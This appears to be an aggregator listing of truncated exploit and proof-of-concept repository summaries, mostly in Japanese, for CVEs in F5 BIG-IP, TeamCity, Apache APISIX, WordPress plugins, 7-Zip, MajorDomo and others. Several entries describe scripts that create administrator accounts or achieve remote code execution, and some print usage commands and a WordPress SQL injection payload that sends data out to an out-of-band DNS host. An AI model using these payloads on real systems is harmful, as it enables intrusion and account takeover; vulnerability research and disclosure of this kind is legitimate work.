test_cve-2023-46747

Pythonスクリプトで、F5 BIG-IPがCVE-2023-46747に対して脆弱かどうかをテストします。脆弱な場合、管理者権限を持つユーザーアカウントが追加されます。この脆弱性を緩和するには、https://my.f5.com/manage/s/article/K000137353 を参照してください。...

CVE-2021-39475

CVE-2021-39475 管理者レビューページのXSS https://www.warcloudsecurity.com/ecommerce/admin/reviews.php?action=preview&rID=1&page=0...

CVE-2020-13945-EXPLOIT

CVE-2020-13945 - Apache APISIX リモートコード実行（RCE） このリポジトリには、Apache APISIX の脆弱性に対する概念実証（PoC）エクスプロイトが含まれています。この脆弱性は、Admin API が有効でアクセス IP 制限ルールが削除されている場合に発生し、デフォルトトークンを使用して APISIX の管理データにアクセスできるようになります。これはバージョン 1.2、1.3、1.4、および 1.5 に影響します。 目次 概要 影響を受けるバージョン セットアップ 使用方法 対策 免責事項 概要 Apache APISIX...

CVE-2017-14263

HoneywellNVRvul CVE-2017-14263 xfuturesec Co., Ltd まず、ゲストユーザーのSessionIDを取得します。 SessionIDは任意のHTTPリクエストから見つけることができます。例： POST https://192.168.1.104/RPC2 HTTP/1.1 Accept: text/javascript, text/html, application/xml, text/xml X-Requested-With: XMLHttpRequest X-Request: JSON Content-Type:...

CVE-2025-3102

CVE-2025-3102 🛠️ SureTriggers Exploit Script このスクリプトは、脆弱なバージョン（≤ v1.0.78）を使用しているWordPressサイトのSureTriggersプラグインのセキュリティ脆弱性を特定し、悪用するために使用されます。成功した場合、スクリプトは自動的にWordPress管理者アカウントを作成します。 ⚙️ 機能 SureTriggersプラグインのバージョン検出 WordPressログインページ（wp-login.php）の検証 REST APIエンドポイントを介したエクスプロイトの実行...

CVE-2025-2266

🚨 CVE-2025-2266 — WordPress プラグインのエクスプロイト 🔍 脆弱性の概要 WordPress 用プラグイン Checkout Mestres do WP for WooCommerce は、バージョン 8.6.5 から 8.7.5 までにおいて、未認証の任意オプション更新の脆弱性 の影響を受けます。 脆弱な関数 cwmpUpdateOptions は適切な権限チェックが行われないため、未認証の攻撃者 が WordPress の任意のオプションを更新できる可能性があります。 ⚠️ リスクと悪用 攻撃者は以下のことが可能です： ユーザー登録を有効化する。...

CVE-2025-11001

使用方法: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe 7-zipの悪用 この脆弱性はWindows上でのみ悪用可能であり、一つ大きな注意点があります。このバグは、7-Zipが管理者権限で実行されている場合にのみ悪用可能です。これは、7-Zipプロセスがシンボリックリンクを作成するためであり、Windows上では特権操作となります。 したがって、悪用が意味を持つのは、7-Zipがサービスアカウントによって使用される場合のみです。...

CVE-2025-71421 UVdesk core-framework before 1.1.7 Privilege Escalation via editAgent

UVdesk core-framework before 1.1.7 contains an improper privilege management vulnerability in the editAgent endpoint that allows agents with agent-management privilege to escalate their own role to administrator. Attackers can submit their own account identifier with a role parameter set to...

EUVD-2025-210977

UVdesk core-framework before 1.1.7 contains an improper privilege management vulnerability in the editAgent endpoint that allows agents with agent-management privilege to escalate their own role to administrator. Attackers can submit their own account identifier with a role parameter set to...

CVE-2025-71421

UVdesk core-framework versions before 1.1.7 contain an improper privilege management vulnerability in the editAgent endpoint. An agent with existing agent-management privilege can submit their own account identifier with the role parameter set to ROLE_ADMIN, escalating their own role to administr...

CVE-2024-27198

CVE-2024-27198 JetBrains TeamCity 2023.11.4 より前のバージョンでは、認証バイパスにより TeamCity サーバー上で管理操作を実行できます。攻撃者はすべての TeamCity プロジェクト、ビルド、エージェント、成果物を完全に制御でき、最終的には RCE を実行します。 ダウンロード root@kitploit: git clone https://github.com/jrbH4CK/CVE-2024-27198.git cd CVE-2024-27198 PoC サーバー内に管理者権限を持つアカウントを作成するには:...

CVE-2026-94383

The MISP blocklist workflow module accepted a user-supplied blocklist filename parameter without validating the file extension. The only sanitization applied was basename to strip path components and a check for empty or dot values. A site administrator could specify a filename with an arbitrary...

CVE-2023-42793

CVE-2023-42793 - TeamCity 管理者アカウント作成によるRCE 最初にexploit.pyを使用して管理者アカウントを作成し、次にrce.pyを使用してターゲット上でコマンドを実行します。リバースシェルについてはこちらを確認してください。 エクスプロイトスクリプト 説明 このスクリプトはCVE-2023-42793を悪用してTeamCityサーバーに管理者アカウントを作成します。指定されたまたはランダムな認証情報を持つ管理者ユーザーを作成するために、ターゲットURLにPOSTリクエストを送信します。 使用方法 root@kitploit: python...

CVE-2026-94383

MISP versions prior to 2.5.47 are affected by an arbitrary code execution vulnerability in the blocklist workflow module . The module accepted a user-supplied blocklist filename parameter without validating the file extension, applying only basename() to strip path components and a check for empt...

CVE-2026-41452-poc

CVE-2026-41452: ミドルウェアバイパスによるKrayin CRM管理者アカウント乗っ取り Krayin CRM バージョン 2.2.4 以前に影響を与える重大な認証欠如の脆弱性（CVE-2026-41452 ）を実証する概念実証（PoC）。 この欠陥により、認証されていないリモート攻撃者が特定の HTTP ヘッダーを注入することで、アプリケーションのインストールミドルウェアロジック（CanInstall）をバイパスし、プライマリ管理者アカウント設定を完全に上書きすることが可能になります。 !WARNING 免責事項:...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 パス：http://your target/wp-admin/admin-ajax.php インジェクションタイプはout-of-bandです。dnslogを自分で指定し、ceye.ioを置き換える必要があります。 POST データ："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

Wordpress-cve-CVE-2022-21661

Wordpress 5.8.2 CVE-2022-21661 脆弱性環境 この環境は、CVE-2022-21661 をテストするために Elementor Custom Skin プラグインを使用してセットアップされています。 環境を起動するには console wp-lab$ ./start.sh 管理者パスワードを取得するには、実行中のコンテナからログを取得します。コンテナが起動するたびに新しいパスワードが生成されます。 console $wp-lab$ docker logs test user admin pwd: inpJbxn+mhWWNSgEAlsU2A== localip...

Apache-APISIX-CVE-2022-24112

Apache APISIX リモートコード実行 CVE-2022-24112 エクスプロイト 概要 攻撃者は batch-requests プラグインを悪用して、リクエストを送信して Admin API の IP 制限をバイパスできます。 Apache APISIX のデフォルト設定（デフォルトの API キー）は リモートコード実行に対して脆弱です。 管理キーが変更された場合、または Admin API のポートが データパネルとは異なるポートに変更された場合、影響は軽減されます。しかし、Apache APISIX のデータパネルの IP 制限をバイパスするリスクは 依然として存在しま...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc MajorDomo（Major Domestic Module）の管理パネルのPHPコンソール機能を介した、認証なしのリモートコード実行（RCE）を悪用する概念実証（PoC）です。 脆弱性 MajorDoMoの管理パネルは、/admin.php を介してPHP評価コンソールを公開しています。panel.class.php の認証リダイレクト後に exit が欠落しているため、AJAXハンドラ incpanelajax.php が無条件にインクルードされ、その eval は認証されていない任意のHTTPリクエストから到達可能になりま...

coldfusion-10-11-xss

ColdFusion 10.x 11.x XSS - RCE PoC エクスプロイト このリポジトリには、CVE-2015-0345（APSB15-07）のXSSベクターが含まれており、ColdFusion インストールに対してリモートコマンド実行を可能にします。 このエクスプロイトは、ColdFusion 10 および 11 のインストールでのみ有効です。具体的には、ColdFusion 11 Update 11 および ColdFusion 10 Update 16 により、これらの問題は両方修正されています。この開示に関する詳細情報はこちらを参照してください。 Payload 1...